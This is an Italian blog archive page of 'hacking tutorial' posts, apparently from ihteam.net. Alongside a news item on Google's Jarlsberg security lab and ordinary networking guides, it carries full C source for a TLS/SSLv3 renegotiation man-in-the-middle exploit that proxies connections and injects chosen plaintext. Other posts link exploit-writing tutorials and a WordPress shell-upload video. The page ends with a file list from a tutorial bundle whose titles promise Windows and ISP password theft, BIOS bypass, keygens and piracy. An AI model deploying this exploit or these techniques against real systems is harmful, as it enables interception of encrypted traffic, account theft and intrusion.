Archive for the ‘Hacking Tutorial’ Category

Jarlsberg: Google insegna ad attaccare webapp

L'ultima iniziativa di Google si chiama Jarlsberg ed è un laboratorio remoto in cui gli sviluppatori possono imparare come "battere gli hacker al loro stesso gioco". Dietro un brand impronunciabile si nasconde un'applicazione remota ospitata sui server di Mountain View, riempita di bug e possibili exploit che gli aspiranti anti-hacker avranno il compito di riconoscere e sfruttare per superare le maglie del sistema e, di conseguenza, acquisire le competenze necessarie a sviluppare appliance sicure.

Jarlsberg è un tutorial gratuito formalmente noto come Web Application Exploits and Defenses, scritto in Python e disponibile sia in forma di black-box (codice chiuso da analizzare e abusare dall'esterno) che white-box (codice sorgente a disposizione del potenziale attaccante).

Le varie classi di vulnerabilità da scovare comprendono bug di tipo cross-site scripting (XSS), cross-site request forgery (CSRF) e path traversal. Il tutorial di (in)sicurezza approntato da Google è pensato per insegnare non solo a identificare particolari vulnerabilità, ma anche a sfruttarle per condurre attacchi specifici.

 

Mountain View mette online un sito pieno di bug. Con l'obiettivo di formare gli sviluppatori. E porre il problema del buon codice sicuro come una priorità, senza che nessuno si faccia male

 

Jarlsberg è pensato in funzione di un approccio eminentemente white-hat, e il disclaimer del servizio dice chiaramente che è vietato qualsiasi tentativo di attaccare direttamente l'infrastruttura di App Engine o qualsiasi altro servizio di Google. Garantendo un'autorizzazione specifica ad attaccare Jarlsberg, Mountain View ribadisce che gli sviluppatori dovranno usare quello che avranno imparato dal codelab per rendere la propria applicazione web più sicura, non per attaccare altre applicazioni senza autorizzazione.

Fonte: http://punto-informatico.it/2877425/PI/News/google-insegna-exploit-sicurezza.aspxAlfonso Maruccia

 

Condividere internet dell’iphone sul computer con linux tramite pdanet

INTRODUZIONE:
Questa guida spiega come poter condividere la connessione internet dell’iphone (3g, non tethering) su un computer linux attraverso una macchina virtuale Windows.
Vorrei ringraziare Marco Rondini per la pazienza avuta! =D
Comincimo subito spiegando di cosa abbiamo bisogno e come configurarlo. Teniamo presente che il risultato finale della guida è quello di condividere la connessione 3G dell’iphone su un numero x di computer connessi alla stessa rete.

PREPARAZIONE AMBIENTE:

Dovete aver installato una virtual machine con sopra windows. Io uso VirtualBox, ma andrà benissimo anche VMWare.
Prima cosa da fare è un bridge tra l’ethernet (eth0) di Linux sulla macchina virtuale Windows.
Su VirtualBox bisogna andare su “Impostazioni” → “Rete” → Selezionare “Scheda con bridge” → Su nome selezionare “eth0” (oppure la scheda wireless)

A questo punto prepariamo i nostri computer in modo che possano navigare su internet attraverso l’iphone.
Il miglior sistema secondo me è collegare tutti i computer ad un router o switch (attenzione, nel caso in cui utilizziate uno switch dovete tirar su un server DHCP per far prendere automaticamente l’indirizzo a tutti gli altri)
Effettuiamo un ping fra alcuni computer per vedere che il collegamento funzioni. Possiamo ora avviare la Virtual Machine con windows sopra. Una volta avviato possiamo verificare attraverso “Connessione alla rete LAN” di Windows che ha acquisito l’indirizzo IP assegnato dal server DHCP:

Che nel nostro caso corrisponde a “10.0.0.243”.

PDANET:
Fatto ciò installiamo il necessario per la connessione ad internet dell’iphone.
Scarichiamo ed installiamo pdanet per iphone (attraverso cydia o rocks) che è un programma che permette la condivisione della linea 3G su un computer windows;
Scarichiamo ed installiamo iTunes (necessario per far funzionare il client pdanet) tramite: http://www.apple.com/itunes/download/
Scarichiamo ed installiamo poi il client di pdanet per windows tramite: http://www.junefabrics.com/desktop/
Ora dobbiamo condividere la connessione “PdaNet Modem” con “Connessione alla rete LAN”; Per far ciò basterò cliccare col pulsante destro su “PdaNet Modem” → Proprietà → Avanzate → Abilita condivisione connessione.

Ora avviamo pdanet sull’iphone:

Connettiamoci tramite l’apposita icona in basso a destra:

ed ora siamo in questa situazione:

in cui PdaNet Modem è connesso e condiviso, la “Connessione alla rete Lan” solo connessa.

SETTAGGI DELLA ROTTA:
Ora ritorniamo sui nostri PC connessi allo switch/router. Per farli navigare basterà dare i seguenti comandi:

route del default
route add default gw 10.0.0.243

Dopo “gw” dovete inserire l’ip della macchina virtuale windows che nel mio caso è 10.0.0.243
Ora molto probabilmente ancora non navigate perchè vi mancano i server DNS che non vi fanno risolvere gli URL. Dovete aggiungere in cima al file /etc/resolv.conf questa linea

nameserver 8.8.8.8

Oppure utilizzata il vostro server DNS preferito, l’8.8.8.8 è il DNS di google
A questo punto tutti i pc che hanno eseguito i comandi sopra citati navigheranno attraverso l’iphone utilizzando la connessione 3G:

CONCLUSIONI:
La guida, oltre a spiegare come utilizzare pdanet su linux, spiega come forzare l’utilizzo di pdanet a più PC.
Ricordate inoltre di informarvi sulle limitazioni del vostro piano tariffario per la connessione ad internet. Inoltre è illegale condividere la vostra connessione a terze persone, perciò navigateci solo voi!
Per il resto mi sembra di aver detto tutto. Se ci sono dubbi potete scrivere sul forum di www.ihteam.net

Il PDF di questa guida è scaricabile anche presso: http://www.ihteam.net/papers/pdanet_iphone_linux.pdf

La storia degli hacker secondo Raoul Chiesa

Piccola intervista tratta dal Vodafone Lab dove Raoul Chiesa spiega in grandi linee la storia dell’hacking.


Tutorial – Come scrivere un exploit

Tutorial By: corelanc0d3r
Preview:

Obviously, not every application crash can lead to an exploitation. In many cases, an application
crash will not lead to exploitation… But sometimes it does. With “exploitation”, I mean that you
want the application to do something it was not intended to do… such as running your own code.
The easiest way to make an application do something different is by controlling its application
flow (and redirect it to somewhere else). This can be done by controlling the Instruction Pointer
(or Program Counter), which is a CPU register that contains a pointer to where the next instruction
that needs to be executed is located.
Suppose an application calls a function with a parameter. Before going to the function, it saves the
current location in the instruction pointer (so it knows where to return when the function
completes). If you can modify the value in this pointer, and point it to a location in memory that
contains your own piece of code, then you can change the application flow and make it execute
something different (other than returning back to the original place). The code that you want to be
executed after controlling the flow is often referred to as “shellcode”. So if we make the
application run our shellcode, we can call it a working exploit. In most cases, this pointer is
referenced by the term EIP. This register size is 4 bytes. So if you can modify those 4 bytes, you
own the application (and the computer the application runs on)

[ad]

Download Link: https://www.ihteam.net/papers/How-To-Write-an-Exploit-Part1.pdf
https://www.ihteam.net/papers/How-To-Write-an-Exploit-Part2.pdf
https://www.ihteam.net/papers/How-To-Write-an-Exploit-Part3.pdf
https://www.ihteam.net/papers/How-To-Write-an-Exploit-Part4.pdf
https://www.ihteam.net/papers/How-To-Write-an-Exploit-Part5.pdf
https://www.ihteam.net/papers/How-To-Write-an-Exploit-Part6.pdf
https://www.ihteam.net/papers/How-To-Write-an-Exploit-Part7.pdf
https://www.ihteam.net/papers/How-To-Write-an-Exploit-Part8.pdf

Come mettere su un Hack Lab [Irongeek]

Video presentato da irongeek (Adrian Crenshaw). Buona visione!


[ad]

Qui trovate le slide del video in PDF o pptx

hacklab.pptx
hacklab.pdf

TLS / SSLV3 Man in the Middle Attack

Tutorial By: Marsh Ray
Preview:

Transport Layer Security (TLS, RFC 5246 and previous, including SSL v3 and previous)
is subject to a number of serious man-in-the-middle (MITM) attacks related to
renegotiation. In general, these problems allow an MITM to inject an arbitrary amount of
chosen plaintext into the beginning of the application protocol stream, leading to a
variety of abuse possibilities. In particular, practical attacks against HTTPS client
certificate authentication have been demonstrated against recent versions of both
Microsoft IIS and Apache httpd on a variety of platforms and in conjunction with a
variety of client applications. Cases not involving client certificates have been
demonstrated as well. Although this research has focused on the implications
specifically for HTTP as the application protocol, the research is ongoing and many of
these attacks are expected to generalize well to other protocols layered on TLS.

Download Link: http://www.g-sec.lu/Renegotiating%20TLS.pdf

[ad]

Exploit code for SSLV3 MITM Attack:

#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <openssl/ssl.h>
#include <openssl/ssl3.h>

void
fail(const char *proc)
{
perror(proc);
exit(1);
}

void
setup_server
(int *sock, int port)
{
struct sockaddr_in sa;
int s, r, i;

s = socket(AF_INET, SOCK_STREAM, 0);
if (s == -1)
fail(“setup_server:socket”);
i = 1;
r = setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i));
if (r == -1)
fail(“setup_server:setsockopt(SO_REUSEADDR)”);
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = INADDR_ANY;
sa.sin_port = htons(port);
r = bind(s, (struct sockaddr *) &sa, sizeof(sa));
if (r == -1)
fail(“setup_server:bind”);
r = listen(s, 5);
if (r == -1)
fail(“setup_server:listen”);
*sock = s;
}

void
do_accept
(int *accepted, int sock)
{
struct sockaddr_in sa;
socklen_t sl;
int s;

sl = sizeof(sa);
s = accept(sock, (struct sockaddr *) &sa, &sl);
if (s == -1)
fail(“do_accept:accept”);
fprintf(stderr, “accepted %s:%d\n”,
inet_ntoa(sa.sin_addr), ntohs(sa.sin_port));
*accepted = s;
}

void
setup_client
(int *sock, in_addr_t ip, int port)
{
struct sockaddr_in sa;
int s, r;

s = socket(AF_INET, SOCK_STREAM, 0);
if (s == -1)
fail(“setup_server:socket”);
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = ip;
sa.sin_port = htons(port);
r = connect(s, (struct sockaddr *) &sa, sizeof(sa));
if (r == -1)
fail(“setup_client:connect”);
*sock = s;
}

int
xread
(int fd, unsigned char *buf, size_t len)
{
int r, rlen;

rlen = 0;
while (len > 0) {
r = read(fd, buf, len);
if (r == 0)
break;
else if (r == -1)
return -1;
buf += r;
len -= r;
rlen += r;
}
return rlen;
}

struct ssl_io_t
{
SSL *ssl;
int fd;
int raw;
};

extern int
ssl3_read_bytes
(SSL *s, int type, unsigned char *buf, int len, int peek);

int
rec_read
(struct ssl_io_t *io, unsigned char *buf)
{
int r, l;

#if 0
fprintf(stderr, “rec read %s\n”,
io->raw & 1 ? “raw” : “cooked”);
#endif
if (io->raw & 1) {
r = xread(io->fd, buf, 5);
if (r == 0)
return 0;
else if (r != 5)
fail(“rec_read:read1″);
if (buf[0] != 0×80)
l = (buf[3] << 8) + buf[4];
else /* ssl2 hack */
/* fail(“rec_read:ssl2″); */
l = (buf[1]) – 3;
if (l < 0 || l > (1 << 15)) {
errno = EINVAL;
fail(“rec_read:reclen”);
}
r = xread(io->fd, buf + 5, l);
if (r != l)
fail(“rec_read:read2″);
l += 5;
return l;
}
else {
r = ssl3_read_bytes(io->ssl, SSL3_RT_HANDSHAKE, buf + 5, 1<<15, 0);
if (r == 0)
return 0;
else if (r < 0) {
if (io->ssl->s3->change_cipher_spec) {
buf[0] = 0×14;
buf[1] = (io->ssl->version >> 8);
buf[2] = (io->ssl->version & 0xff);
buf[3] = 0;
buf[4] = 1;
buf[5] = 1;
io->raw |= 1;
io->ssl->s3->change_cipher_spec = 0;
return 6;
}
fail(“rec_read:ssl3_read_bytes”);
}
l = r;
buf[0] = io->ssl->s3->rrec.type;
buf[1] = (io->ssl->version >> 8);
buf[2] = (io->ssl->version & 0xff);
buf[3] = (l >> 8);
buf[4] = (l & 0xff);
return l + 5;
}
}

extern int
ssl3_write_bytes
(SSL *s, int type, const void *buf_, int len);

void
rec_write
(struct ssl_io_t *io, unsigned char *buf, size_t len)
{
int r;

#if 0
fprintf(stderr, “rec write %s\n”,
io->raw & 2 ? “raw” : “cooked”);
#endif
if (io->raw & 2) {
r = write(io->fd, buf, len);
if (r != len)
fail(“rec_write:write”);
}
else {
r = ssl3_write_bytes(io->ssl, buf[0], buf + 5, len – 5);
if (r < 0) {
fail(“rec_read:ssl3_write_bytes”);
}
if (buf[0] == 0×14) {
io->raw |= 2;
}
}
}

void
ssl_io
(struct ssl_io_t *assl, struct ssl_io_t *cssl)
{
struct ssl_io_t *ssls[2];
int maxfd, active;
int i, r, l;
fd_set rfd;
unsigned char buf[1 << 16];

ssls[0] = assl;
ssls[1] = cssl;
active = 3;
maxfd = 0;
for (i = 0; i < 2; i++)
if (ssls[i]->fd >= maxfd)
maxfd = ssls[i]->fd + 1;

while (active) {
FD_ZERO(&rfd);
for (i = 0; i < 2; i++)
if (active & (1 << i))
FD_SET(ssls[i]->fd, &rfd);
r = select(maxfd, &rfd, NULL, NULL, NULL);
if (r == -1)
fail(“rec_io:select”);
for (i = 0; i < 2; i++) {
if (active & (1 << i) && FD_ISSET(ssls[i]->fd, &rfd)) {
r = rec_read(ssls[i], buf);
if (r == 0) {
shutdown(ssls[i]->fd, SHUT_RD);
shutdown(ssls[1 - i]->fd, SHUT_WR);
active &= ~(1 << i);
continue;
}
l = r;
rec_write(ssls[1 - i], buf, l);
}
}
}
}

void
setup_ssl_ctx
(SSL_CTX **ctx)
{
OpenSSL_add_ssl_algorithms();
SSL_load_error_strings();
*ctx = SSL_CTX_new(SSLv3_client_method());
if (!*ctx)
fail(“setup_ssl_ctx:SSL_CTX_new”);
}

void
setup_ssl_io
(struct ssl_io_t *io, SSL_CTX *ctx, int sock, int raw)
{
SSL *ssl;
BIO *bio;

ssl = SSL_new(ctx);
if (!ssl)
fail(“setup_ssl_ctx:SSL_new”);
bio = BIO_new_socket(sock, BIO_NOCLOSE);
if (!bio)
fail(“setup_ssl_ctx:BIO_new_socket”);
SSL_set_bio(ssl, bio, bio);
SSL_set_connect_state(ssl);
io->ssl = ssl;
io->fd = sock;
io->raw = raw;
}

int
bogus_change_cipher_state
(SSL *ssl, int i)
{
return 0;
}

/* stolen from ssl_locl.h */
typedef struct ssl3_enc_method {
int (*enc)(SSL *, int);
int (*mac)(SSL *, unsigned char *, int);
int (*setup_key_block)(SSL *);
int (*generate_master_secret)(SSL *, unsigned char *, unsigned char *, int);
int (*change_cipher_state)(SSL *, int);
int (*final_finish_mac)(SSL *, EVP_MD_CTX *, EVP_MD_CTX *, const char *, int, unsigned char *);
int finish_mac_length;
int (*cert_verify_mac)(SSL *, EVP_MD_CTX *, unsigned char *);
const char *client_finished_label;
int client_finished_label_len;
const char *server_finished_label;
int server_finished_label_len;
int (*alert_value)(int);
} SSL3_ENC_METHOD;

#define TRICK “GET /ble HTTP/1.0\r\nX-Blah: ”

void
hack_ssl
(struct ssl_io_t *assl, struct ssl_io_t *cssl)
{
int r, l;
unsigned char buf[1 << 16];
SSL_METHOD *mth;

r = rec_read(assl, buf);
if (r <= 0)
fail(“hack_ssl:rec_read:no i/o”);
l = r;

if (buf[0] == 0×16 && buf[1] == 3 &&
(buf[2] == 0 || buf[2] == 1)) {
cssl->raw = 0;
r = SSL_CTX_set_ssl_version
(cssl->ssl->ctx, buf[2] == 0 ?
SSLv3_client_method() : TLSv1_client_method());
if (r != 1)
fail(“hack_ssl:SSL_CTX_set_ssl_version”);
r = SSL_clear(cssl->ssl);
if (r != 1)
fail(“hack_ssl:SSL_clear”);
r = SSL_connect(cssl->ssl);
if (r != 1)
fail(“hack_ssl:SSL_connect”);
/* ssl3_setup_buffers(io->ssl);
ssl_get_new_session(io->ssl, 0); */
r = SSL_write(cssl->ssl, TRICK, sizeof(TRICK)-1);
if (r != sizeof(TRICK)-1)
fail(“hack_ssl:SSL_connect”);
cssl->ssl->in_handshake++;
cssl->ssl->method->ssl3_enc->change_cipher_state =
bogus_change_cipher_state;
}
else {
/* schedule suicide */
alarm(5);
}

rec_write(cssl, buf, l);
}

#define HTTP_OK “HTTP/1.0 200 Connected\r\n\r\n”

void
handle_http_req
(int sock, in_addr_t *ip, int *port)
{
int r, l, k;
unsigned char buf[1 << 16];
char str[100];
unsigned short num;
struct hostent *he;

l = 0;
for (;;) {
r = read(sock, buf + l, sizeof(buf)-1 – l);
if (r <= 0)
fail(“handle_http_req:read”);
for (k = l; r > 0; ++k, –r)
if (buf[k] != ‘\r’)
buf[l++] = buf[k];
if (l >= 2 && buf[l-1] == ‘\n’ && buf[l-2] == ‘\n’)
break;
if (l >= sizeof(buf)-1)
fail(“handle_http_req:req too big”);
}

buf[l] = ‘\0′;
r = sscanf(buf, “CONNECT %99[0-9A-Za-z.-]:%hu”, str, &num);
if (r != 2)
fail(“handle_http_req:bad request”);
he = gethostbyname(str);
if (he == NULL || he->h_length != sizeof(in_addr_t))
fail(“handle_http_req:gethostbyname”);

r = write(sock, HTTP_OK, sizeof(HTTP_OK)-1);
if (r != sizeof(HTTP_OK)-1)
fail(“handle_http_req:write”);

*ip = *(in_addr_t *)(he->h_addr_list[0]);
*port = num;
}

int
main
(int argc, const char **argv)
{
pid_t pid;
int ssock, asock, csock;
SSL_CTX *ctx;
in_addr_t ip;
int port;
struct ssl_io_t assl, cssl;

setup_ssl_ctx(&ctx);
setup_server(&ssock, atoi(argv[1]));
for (;;) {
do_accept(&asock, ssock);
pid = fork();
if (pid == -1)
fail(“main:fork”);
else if (pid == 0) {
close(ssock);
handle_http_req(asock, &ip, &port);
setup_client(&csock, ip, port);
setup_ssl_io(&assl, ctx, asock, 3);
setup_ssl_io(&cssl, ctx, csock, 3);
hack_ssl(&assl, &cssl);
ssl_io(&assl, &cssl);
return 0;
}
else {
close(asock);
}
}
}

Crittografare comunicazioni MSN Messenger

Tutorial By R00T[ATI]
Preview:
Questa guida spiegherà passo passo come poter comunicare in sicurezza su un protocollo nato insicuro.
Infatti il protocollo di comunicazione di MSN Messenger ha principalmente 2 debolezze:
1. Il messaggio passa su uno (o più) server prima di arrivare al destinatario;
2. Il messaggio viene inviato senza crittografia;
Questo comporta una comunicazione insicura fra i due interlocutori. Un utente malintenzionato che si
inserisce in mezzo alla comunicazione (o del mittente o del destinatario) potrà leggere in chiaro tutti i
messaggi che arrivano/escono e a suo piacimento potrà modificarne il contenuto senza che nessuno dei due
se ne accorga. (Questa tipologia di attacco viene più semplicemente chiamata Man In The Middle – L’uomo
nel mezzo);
[ad]

Download Link: https://www.ihteam.net/papers/crittografare-comunicazioni-msn-messenger.pdf

Montare un HDD USB su VPS Proxmox

Tutorial By R00T[ATI]
Preview:

Abbiamo la necessità di condividere un dispositivo USB al VPS che abbiamo creato tramite la distribuzione proxmox (http://www.proxmox.com/). In questo specifico caso utilizzo CentOS 5.3 su VPS, ma i comandi sono gli stessi per qualsiasi distribuzione.Avviate la procedura di aggiornamento del sistema proxmox se non lo avete mai fatto, tramite i comandi:

apt-get update
apt-get upgrade

Poi dobbiamo installare il pacchetto `usbutils` sulla macchina [.........]

Download Link: https://www.ihteam.net/papers/montare-hdd-su-vps-proxmox.pdf

[VIDEO] WordPress Shell injection

Un video fatto da white_sheep e R00t_ATI che dimostra come si puo uplodare una shell c2007 attraverso il DSN Spoofing. ‘njoy

WordPress_shell_injection_with_DNS_Spoofing__By_IHTeam from Simone Quatrini on Vimeo.

1000 Hacking Tutorial

Una raccolta di circa 1000 Hacking Tutorial divisi in categorie tutti in lingua inglese;
Download Link: https://www.ihteam.net/papers/1000_Hacker_Tutorials_2008.rar

Ecco la lista dei file:

Create Bootable XP SP integrated CD
Create One-click Shutdown And Reboot Shortcuts.txt Creating a Board aka Forum on your own PC !.rtf
Creating Universal Ghost Usb Boot Disk And Cd.txt
Data Capacity of CDs [Tutorial].txt
Debug, Learn how ***** windows.txt
Delete An undeletable File.txt
Delete Files From The Recent File List In Windows.txt
Digital Camera Guide.txt
Digital Faq-learn Everything About Digital Capture, Edit and Burning and more.txt
Digital Photo Id Cards, Greate Info.txt
Direct Link To Any Page You Want To In Hotmail.txt
Directx Explained.txt
Disable Compression On Xp, NTFS partition, Disk Cleanup.txt
Disable The Send Error Report, to Microsoft.txt
Disable Windows Logo Key.txt
Discover New Music You’ll Probably Love.txt
Download Free Music legally, legally.txt
Download from a paypal site without paying a penny!.txt
Download From Ftpz, Using Ftp Search Sitez.txt
Download Mp3’s Without Using Filesharing.txt
Download Music And Video With Media Player 9, quick and easy!.txt
Download Timeframes.txt
Dual Boot After The Fact.txt
Dvd Copying-ripping Definitions.txt
DVD Regions Information.txt
Dvd-9 to Dvd+r Dl, Double Layer To Double Layer, 1-1 copies.txt
Easily Disconnect-reconnect From Broadband.txt
Easily Find Serial Numbers On Google.., easy to do and works like a charm.txt
Ebay Hacktip.txt
General Keyboard Shortcuts.txt
Get In Windows 2000 As Administrator.txt
Get the Most Out of Your DVD Recorder.txt
Get The Music You Want To Hear.tx
Get unlimited bandwidth from your host for free.txt
Getting A 1gb Yahoo China Account.txt
Getting Counter-strike Source To Work.txt
getting movies, mp3,games using google.txt
Getting older programs to run on Windows XP.txt
Getting started with Linux for noobs!.txt
Go to Windows updates anonymously.txt
Google Search.txt
Google secrets.txt
Google Tips & Tricks, (utilizing search engine).txt
Graffiti On Walls 4 Adobe Photoshop Cs 8.0.txt
Guide For Getting Free Stuff.txt
Guide to IIS Exploitation.txt
Guide to Slipstreaming Service Pack 2.txt
Hard drive Gone Bad.txt
Hardware Firewall.txt
How To Add An Option To Print, the Contents of a Folder!.txt
How To Add Your Own Windows Tips.txt
How to Back Up the Registry.txt
How To Backup Ps2 Games.txt
HOW TO BLOCK PEOPLE ON WINMX WHO SHARE NOTHING.txt
How To Block Websties Without Software, block websites.txt
How To Boot Xp Faster (updated).txt
How to build a black box.txt
how to burn quicker in windows xp.txt
How to Bypass BIOS Passwords.txt
How To Bypass Web Filters, tutorial.txt
HOW TO CAPTURE STREAMING MEDIA.txt
How To Change A Cmos Battery.txt
How to change the serial number used in Windows XP, Valid for XP Corporate.txt
How To Change Thumbnail Size And Quality.txt
How to clear Bios info 2.txt
How to clear Bios info.txt
How To Convert File System, fat – fat32 to ntfs.txt
How To Copy A Dvd Which Will Play On A X Box.txt
How to copy songs from your iPod to your PC.txt
How To Customise Your start Button.txt
How To Delete Those Persistent Nasty Files.txt 0.53 kB
How To Directly Go To Inbox, Write Msg, w Hotmail, no need for How to find MP3’s real quickly.txt 0.35 kB
How To Find Serial Numbers On Google.txt 0.79 kB
How to fix corrupted files in XP.txt 1.48 kB
How to fix Windows Installer problem.txt 0.96 kB
How To Get A Free I-pod Or Flat Screen Tv, check it out.txt 6.62 kB
HOW TO GET ANY WINDOWS PASSWORD.txt 3.41 kB
How to Get someones ISP password, Get free internet.txt 2.65 kB
How To Get Top Ranking, Search Engines.txt 6.58 kB
How To Hack Windows Xp Admin Passwords.txt 2.52 kB
How to hack-change your Windows XP Boot Screen.txt 1.52 kB
how To Hide Yourself From Network Users!, And give access to only specific users!.txt 0.86 kB
How To Make An Animted Logo.txt 5.26 kB
How To Make Free Phone Calls.txt 2.29 kB
How to make key generators.txt 8.83 kB
How To Make Perfect Copies Of Maxis The Sims Discs, CloneCD Style!.txt 1.17 kB
How To Make XP Go Faster.txt 5.58 kB
How To make your own Radio Station 2.txt 3.26 kB
How To Make Your Own Radio Station.txt 1.58 kB
How to Remove DRM Protection for Video Files.txt 2.29 kB
How To Remove Ms Java Vm And Install Sun Java.txt 0.05 kB
How To Remove Signin Details Of Msn Passport.txt 1.04 kB
How To Remove The Default Admin$ Shares.txt 1.03 kB
How to remove the Links folder in IE Favorites.txt 0.59 kB
How to Remove WinXP Splash and See Operations.txt 1.19 kB
How To Rename Extensions With Ease, with a Renamer.bat file!.txt 0.44 kB
How to Rename File Extensions.txt 3.11 kB
How To Rename Multiple Files In Winxp.txt 0.56 kB
How To Restrict Login Hours Allowed.txt 0.58 kB
How to safeguard your files when computer crashes.txt 2.94 kB
How to save Windows xp updates.txt 0.63 kB
how to search google for RAPIDSHARE links.txt 0.98 kB
How To See Hidden Files, Using Dos.txt 0.08 kB
How To Set search For All Files In Winxp.txt 0.71 kB
How to set up a http server running from you computer.txt 3.06 kB
How To Set Up A Proxy In Flashget, As Requested.txt 0.66 kB
How to set up a server with Apache , PHP , MySQL , Perl , phpMyAdmin.txt 8.77 kB
How To Set Up Direct Connect.txt 26.96 kB
HOW TO SET UP FTP SERVER.txt 1.79 kB
How To Set Up Proxies In Your Browser.txt 1.63 kB
How To Set Zone Alarm Settings!, Fix for ZA ports.txt 2.12 kB
How To Setup Your Own Dns (Domain Name Server).txt 6.97 kB
How To Speed Up A Slow Computer.txt 1.21 kB
How To Speed Up Http Requests On Internet Explorer, as above.txt 1.28 kB
How To Stop Spam.txt 8.05 kB
How to swear in all languages.txt 28.32 kB
How To Unload Cached Dll Files To Free Memory.txt 0.56 kB
How to Use and How to Chain Multiple Proxies!.txt 9.70 kB
How To Use File Compression In Windows Xp.txt 4.19 kB
How To Use Google To Download Mp3’s, and applications…..txt 0.60 kB
How To Use Newsgroups.txt 0.56 kB
How To Use You Gmail With Msn Messenger.txt 0.37 kB
How-to Get Videos And Dvds Onto Your Sony PlayStation Portable (PSP) for free.txt 12.91 kB
HOWTO Change Windows XP Home to Windows XP Pro.txt 1.67 kB
Important Faqs For Sp2.txt 9.47 kB
Improve Doom 3’s Performances!!, simple but efficient trick for every1.txt 4.22 kB
Improve your dialup modem preformance.txt 0.73 kB
Increase XP Folder Settings.txt 0.79 kB
Insert Your Serial For Office 2k, auto install office.txt 1.06 kB
Install A New Hard-disk.txt 5.16 kB
Install Xp From Dos.txt 0.84 kB
Installing Apache on Windows.txt 6.29 kB
Installing Gentoo Linux, Amazing step by step tutoria.txt 0.19 kB
Installing IIS On Windows Xp Pro.txt 3.04 kB
Installing Slackware Linux.txt 34.73 kB
Instructions For Removal Of Advertising In Msn Messenger.txt 2.59 kB
Ip Address Structure, Expilinatin OF IP Address {A short way}.txt 7.65 kB
Irc How To Downlaod From, How to downlaod from IRC.txt 3.95 kB
Irc Servers On nix, For people who want to start own IRC net.txt 0.48 kB
Keep Files Private.txt 1.51 kB
Keep Folders Hidden.txt 0.46 kB
Keyboard Shortcuts Result in Excel 2000 – Movement.txt 1.57 kB
Keyboard Shortcuts, Microsoft Word.txt 2.37 kB
Keyboard Shortcuts, must read.txt 3.72 kB
Kill Microsoft Instant Messenger.txt 0.28 kB
Lamination Tips, Its a Fast TUT……txt 1.98 kB
Leet Way To Get Your Ip In Windows Xp.txt 0.26 kB
Linking Your Xbox To Your Computer.txt 33.52 kB
Linux Howto’s.txt 0.08 kB
List Of Sites Not To Go To.txt 4.32 kB
Little help for anonymous mailer.txt 1.56 kB
Lots Of Windows Xp Tips, Take A Look !.txt 12.43 kB
Lyrics With Google.txt 0.08 kB
Make A Autorun File For Ur Cd.txt 0.66 kB
Make A Batch File To Clean UR PC!!, All In One!!.txt 1.37 kB
Make A Roughly 16 Hour Video Dvd.txt 1.01 kB
Make Acrobat Reader 6 load faster.txt 0.42 kB
Make Dvd Iso From Suse 9.2 5 Cds Iso, Linux mode and Windows mode ISO creation.txt 7.41 kB
Make Mp3 Files Smaller Without Losing Quality.txt 0.73 kB
Make Your Own Ringtones For Mobile Phone, also logos, wallpaper, etc.txt 3.00 kB
Make Your Pc Faster, Guaranteed.txt 6.23 kB
MakeXPgoFaster.txt 5.74 kB
making a .cue file, in notepad.txt 0.53 kB
Making A .txt Executable Server.txt 1.60 kB
Making Bootable Floppy Disk to Boot into Windows.txt 4.82 kB
Making Cd Version Of Doom3 Into Dvd Version.txt 0.75 kB
Making Web Page Fonts Consistent and Uniform.txt 0.80 kB
Manage Saved Ie Passwords.txt 0.75 kB
Mastering The Windows XP Registry.txt 5.79 kB
Maximize Dial-up Modem Settings.txt 2.31 kB
Microsoft’s Really Hidden Files, Reveled Hidden files.txt 33.95 kB
mIRC Not Just Another Chat Client, Download Anything You Want Almost.txt 4.37 kB
mIRCcommands.txt 10.10 kB
Misc Linux Tips & Tricks.txt 18.55 kB
Missing Administrator Account.txt 0.52 kB
Mobile Secret Codes.txt 31.09 kB
Modify .exe Files And ***** A Program.txt 3.06 kB
[...]

Return top